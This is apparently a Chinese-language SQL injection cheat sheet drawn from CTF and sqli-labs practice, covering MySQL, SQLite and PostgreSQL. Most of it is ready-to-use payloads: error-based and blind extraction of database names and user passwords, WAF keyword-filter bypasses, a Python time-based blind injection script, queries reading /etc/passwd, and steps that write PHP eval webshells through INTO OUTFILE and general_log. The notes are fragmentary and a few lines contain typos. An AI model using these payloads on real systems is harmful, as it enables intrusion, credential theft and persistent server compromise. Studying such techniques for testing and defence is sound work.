笛卡尔积:例如,select count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C,MySQL会将A、B、C三个表进行笛卡尔积之后再执行count(*),大量的笛卡尔积会耗费很多时间(但是时延不可控,对大站可能会有很高的延迟)
floor()+rand():也就是我们常说的双查询注入,使用方法:select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;这样可以查询到version()的值
updatexml(xml_document, xpath_string, new_value):当updatexml()的第二个参数不符合xpath格式时,就会报错并进行输出,使用方法:select * from users where username=$username or updatexml(1,concat(0x7e,(select user()),0x7e),1),这是通过在user()的结果前后加上~使其不满足xpath格式,从而输出的
extractvalue(xml_document, path):第二个参数是xml文档的路径,查询不到也不会报错,但是必须满足/xxx/xxx/xxx的格式,否则会报错,使用方法:select * from users where username=$username or extractvalue(1, concat(0x7e,(select database()))),这样报错就会输出~databese()的值
?id=2 and 1=1 会显示1的查询结果 ;因为查询语句中id=(2 and 1=1),2 and 1=1 结果为1
?id=2 and 1=1不显示; (2 and 1=2)相与为0,查询语句变成id=(0)
由以上两点结合,可猜测存在()
如果是字符型加括号('$id')或("$id"),以('$id')为例
?id=2'不显示,因为语句错误 ?id=2' and 1=1#和?id=2' and 1=2#不显示,因为有语法错误,()没闭合 由以上两点可以猜测可能有() 括号判断 数字型判断括号: 就根据?id=2 and 1=1,如果返回1的查询结果,就表明有(),相当于数据库中执行id=(2 and 1=1),括号里面是Bool值 如果返回2查询结果,表明没有() 字符型判断括号 有两种方法:
输出字符长度限制为64个字符 mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)); ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key' mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key' mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a; ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
关键表被禁用了 select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2))
xpath语法报错 updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
输出的字符长度有限制,最长输出32位
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
MySQL 的 case when 的语法有两种: 简单函数 CASE [col_name] WHEN [value1] THEN [result1]…ELSE [default] END 搜索函数 CASE WHEN [expr] THEN [result1]…ELSE [default] END select case 'a' when 'a' then 1 else 0 end; -- 1 select case when 98>12 then 1 else 0 end; 注:可以看出case的用法与if类似,当if被过滤或者,被过滤可以替换为case,并且在时间盲注中,条件语句非常有用!
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0)); select * from users where id=1 and 1=(user() regexp'^ri'); 通过if 语句的条件判断,返回一些条件句,比如if 等构造一个判断。根据返回结果是否等于0 或者1 进行判断。
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1); 这里利用select 构造了一个判断语句。我们只需要更换regexp 表达式即可
select benchmark(1000000,sha1(sha1(sha1(sha1("1"))))); UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
SELECT FLOOR(1.5) -- 返回1 select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)) a from information_schema.columns group by a;
以上语句可以简化成如下的形式。
1
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
1 2
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand 被禁用了可以使用用户变量来报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2) 爆库 select 1 from ( select count(*),(concat((select schema_name from information_schema.schemata limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x )a; http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 爆表 select 1 from (select count(*),(concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a; 爆字段 select 1 from (select count(*),(concat((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a; 爆数据 select 1 from (select count(*),(concat((select concat(name,’|’,passwd,’|’,birth) from users limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a; select 1 from(select count(*),concat((select (select (SELECT concat(0x23,name,0x3a,passwd,0x23) FROM users limit 0,1)) from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a
几何函数
1 2 3 4 5 6 7 8 9 10 11
GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))
不存在函数
1 2 3
可以用来爆数据库 select a(); ERROR 1305 (42000): FUNCTION mysql.a does not exist
select abs(99999e9999999); #可使用在报错的布尔盲注中 ERROR 1367 (22007): Illegal double '99999e9999999' value found during parsing
select pow(1+(1=1),999999999999);mysql> select pow(1+(1=1),999999999999); ERROR 1690 (22003): DOUBLE value is out of range in 'pow((1 + (1 = 1)),999999999999)' mysql> select pow(1+(1=0),999999999999); +---------------------------+ | pow(1+(1=0),999999999999) | +---------------------------+ | 1 | +---------------------------+ 1 row in set (0.00 sec)
mysql>select * from(select * from users a join (select * from users)b)c; mysql>select * from(select * from users a join (select * from users)b using(username))c; mysql>select * from(select * from users a join (select * from users)b using(username,password))c
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php"; outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
当secure_file_priv为NULL时
1 2 3 4
如果存在堆叠注入,当然由于是global变量,需要root权限 set global general_log=on; set global general_log_file='C:/phpStudy/WWW/789.php'; select '<?php eval($_POST['a']) ?>';
sqli-labs/Less-7
1 2 3 4 5 6 7
--使用')) or 1=1--+进行注入 http://127.0.0.1/sqli-labs/Less-7/?id=1')) or 1=1 --+ (2)利用上述提到的文件导入的方式进行演示: http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,3 into outfile "D:/phpstudy_pro/WWW/sqli-labs/outfile/less-7.txt"--+ (3)直接将一句话木马导入进去,再用菜刀等webshell 管理工具连接即可 http://127.0.0.1/sqli-labs/Less-7/?id=-1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "D:/phpstudy_pro/WWW/sqli-labs/outfile/less-7.php"--+ (4)这里也可以到处数据库的内容
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。此例子中我们的步骤是注册一个admin’#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin 的密码。Sql 语句变为UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ‘ AND password=’ , 也就是执行了UPDATE users SET passwd=”New_Pass” WHERE username =’admin’
注册admin a -> SELECT认为不存在-> INSERT了前20位-> 使用自己注册的admin和对应密码进行登录~
1
INSERT插入了admin+15空格,实际上是插入了admin,末尾的空格会被MySQL忽略掉
这样就修改了admin的密码了
order by 后的injection
order by参数后注入
从本关开始,我们开始学习order by 相关注入的知识。本关的sql 语句为$sql = “SELECT * FROM users ORDER BY $id”;尝试?sort=1 desc 或者asc,显示结果不同,则表明可以注入。(升序or 降序排列)从上述的sql 语句中我们可以看出,我们的注入点在order by 后面的参数中,而order by不同于的我们在where 后的注入点,不能使用union 等进行注入。如何进行order by 的注入,我们先来了解一下mysql 官方select 的文档。
http://127.0.0.1/sqli-labs/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
http://127.0.0.1/sqli-labs/Less-46/?sort= (SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1) http://127.0.0.1/sqli-labs/Less-46/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))
http://127.0.0.1/sqli-labs/Less-46/?sort=1 procedure analyse(extractvalue(rand(),con cat(0x3a,version())),1) //SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 如果不支持报错注入的话,还可以基于时间注入: //SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
导入导出文件into outfile 参数
1 2 3 4 5 6
http://127.0.0.1/sqli-labs/Less-46/?sort=1 into outfile "c:\\wamp\\www\\sqllib\\test 1.txt" 将查询结果导入到文件当中 那这个时候我们可以考虑上传网马,利用lines terminated by Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16 进制转 换)
select user from user where user='$_POST[username]' and password='$_POST[password]';
在这里单引号被过滤了,但是反斜杠\并没有被过滤。则单引号可以被转义
输入的用户名以反斜杠\结尾
1 2 3 4 5 6 7
username=admin\&password=123456# 将这个拼接进去,\就可以将第2个单引号转义掉 select * from users where username='admin\' and password='123456#'; 这样第1个单引号就会找第3个单引号进行闭合,后台接收到的username实际上是admin\' and password=这个整体 接下来构造password为or 2>1# select * from users where username='admin\' and password=' or 2>1#'; 上面的语句会返回为真,通过这样的思路,我们就可以进行bool盲注
waf = 'and|or|union' 过滤代码 union select user,password from users 绕过方式 1 && (select user from users where userid=1)='admin'
过滤where
1 2 3
waf = 'and|or|union|where' 过滤代码 1 && (select user from users where user_id = 1) = 'admin' 绕过方式 1 && (select user from users limit 1) = 'admin'
过滤limit
1 2 3
waf = 'and|or|union|where|limit' 过滤代码 1 && (select user from users limit 1) = 'admin' 绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
过滤group by
1 2 3
waf = 'and|or|union|where|limit|group by' 过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin' 绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
//过滤了逗号怎么办?就不能多个参数了吗? SELECT SUBSTR('2018-08-17',6,5);与SELECT SUBSTR('2018-08-17' FROM 6 FOR 5); 意思相同 substr支持这样的语法: SUBSTRING(str FROM pos FOR len) SUBSTRING(str FROM pos) MID()后续加入了这种写法
//联合查询 //获取当前数据库的表名 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # //获取表中的字段名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # //查询数据 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # //如果group_concat被过滤了,而又只能返回一条数据,则用limit 0,1
//布尔盲注脚本 import requests as req import time as t import string
url = "xxx"
select = "select group_concat(table_name) from information_schema.tables where binary table_schema in (select databases())" select = "select group_concat(column_name) from information_schema.columns where binary table_name in ('xxxx') " select = "select group_concat(xxxx) from xxxxxxx" res = ""
def text2hex(s): res = "" for i in s: res +=hex(ord(i)).replace("0x", "") return "0x" + res
for i in range(1,50): for ascii in string.printable: if ascii == '\\': #转义符号没有意义 continue data = { "username" : "admin", "password" : f"123' or if((binary right(({select},{i}) in ({text2hex(ascii+res)})),(select benchmark(15000000.sha1(sha(sha(1)))) in (0)),0)#".replace(" ", "/**/") } start = int(t.time()) r = req.post(url=url, data=data) end = int(t.time()) - start print(data) if end > 4: res = ascii +res print(res) break if ascii == string.printable[-1:]: exit(0)
Sqlite注入
注释符
1 2 3
/**/ -- 两种注释符 --后面不带空格
可以用于判断数据库类型
1
#`如果不生效的话则说明不是`mysql
sqlite系统库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
--先创建两个表 CREATE TABLE GIFT( ID INT PRIMARY KEY NOT NULL, ITEM TEXT NOT NULL, LOG TEXT NOT NULL );
CREATE TABLE SECRET( ID INT NOT NULL, fl4ggg TEXT PRIMARY KEY NOT NULL );
INSERT INTO GIFT (ID,ITEM,LOG) VALUES (1, "Turkey", "Most British families like to cook their own turkey. A large number of vegetables and fruits, such as asparagus, celery, onions and chestnuts, are stuffed into the belly of a ten pound turkey, and then coated with a variety of spices before being baked in the oven."); INSERT INTO SECRET (id,fl4ggg) VALUES (1, "flag{Y1ng}");
sqlite> .schema sqlite_master CREATE TABLE sqlite_master ( type text, name text, tbl_name text, rootpage integer, sql text ); --查询表名 sqlite> SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'; GIFT SECRET --注:这里之所以使用NOT like 'sqlite_%',是避免出来系统的表,但是可能题目故意将表名弄成sqlite开头
--查询列名 sqlite> SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='GIFT'; CREATE TABLE GIFT( ID INT PRIMARY KEY NOT NULL, ITEM TEXT NOT NULL, LOG TEXT NOT NULL ) sqlite> SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='SECRET'; CREATE TABLE SECRET( ID INT NOT NULL, fl4ggg TEXT PRIMARY KEY NOT NULL )
Payload :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||
Payload :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')-- Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')-- sqlite> select ''Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||');
' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||
sqlite> select '' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')-- ...> ;
' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
--可以注释,#不可注释,则不是mysql 利用exp(999999)构造报错,可判断是PostgreSQL 或者测试延时盲注利用pg_sleep() postgres=# select 123 where 123 = exp(9999999); ERROR: value out of range: overflow
LIKE注入
1 2
string LIKE pattern [ESCAPE escape-character] string NOT LIKE pattern [ESCAPE escape-character]
--与mysql中的sleep()有所不同 --当将pg_sleep()与布尔一起使用时会报错,因为pg_sleep返回值为空。 postgres=# select '1' = pg_sleep(1); ERROR: argument of AND must be type boolean, not type void LINE 1: select '1' and pg_sleep(1);
postgres=# select 1 from pg_sleep(1); ?column? ---------- 1 (1 row) --通过这个就有返回值,可以比较了 postgres=# select '1'=(select '1' from pg_sleep(1)); ?column? ---------- t (1 row)
--可以看出plsql的数据类型比较严格,不会随意进行转换
方法2: --通过类型转换,将数据转化为字符 postgres=# select '1'=pg_sleep(1)::varchar; ?column? ---------- f (1 row)
select * from company where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)::VARCHAR else 'a' end);
方法3: --通过|| --与mysql不一样,在plsql中,||是拼接字符串的意思
postgres=# select '1'||'asss'; ?column? ---------- 1asss (1 row) select * from company where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)||'b' else 'a' end);
CREATE TABLE Y1ng(t TEXT); COPY Y1ng FROM '/etc/passwd'; SELECT * FROM Y1ng limit 1 offset 0; --通过偏移量读取某一行 SELECT * FROM Y1ng limit 1 offset 1; SELECT * FROM Y1ng limit 1 offset 2; SELECT * FROM Y1ng limit 1 offset 3; SELECT * FROM Y1ng limit 1 offset 4; SELECT * FROM Y1ng limit 1 offset 5; --直接读取文件的全部内容: CREATE TABLE Y1ng(t TEXT); COPY Y1ng(t) FROM '/etc/passwd'; SELECT * FROM Y1ng;
文件写入
1 2 3 4
DROP TABLE Y1ng; CREATE TABLE Y1ng (t TEXT); INSERT INTO Y1ng(t) VALUES ('hello Y1ng'); COPY Y1ng(t) TO '/tmp/Y1ng';
系统数据库
在plsql中也存在库information_schema
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
--查表名 select table_name from information_schema.tables where table_name not like 'pg%' and table_schema='public'; select table_name from information_schema.tables where table_name not like 'pg%'; select string_agg(tablename, ',') from pg_tables where schemaname='public'; --查列名 select column_name from information_schema.columns where table_name like 'company'; select string_agg(column_name, ',') from information_schema.columns where table_schema='public' (老版本) pg_class.oid对应pg_attribute.attrelid pg_class.relname表名 pg_attribute.attname字段名
select relname from pg_class获取表名 select oid from pg_class wehre relname='admin'获取表的oid select attname from pg_attribute where attrelid='oid的值' 获取字段名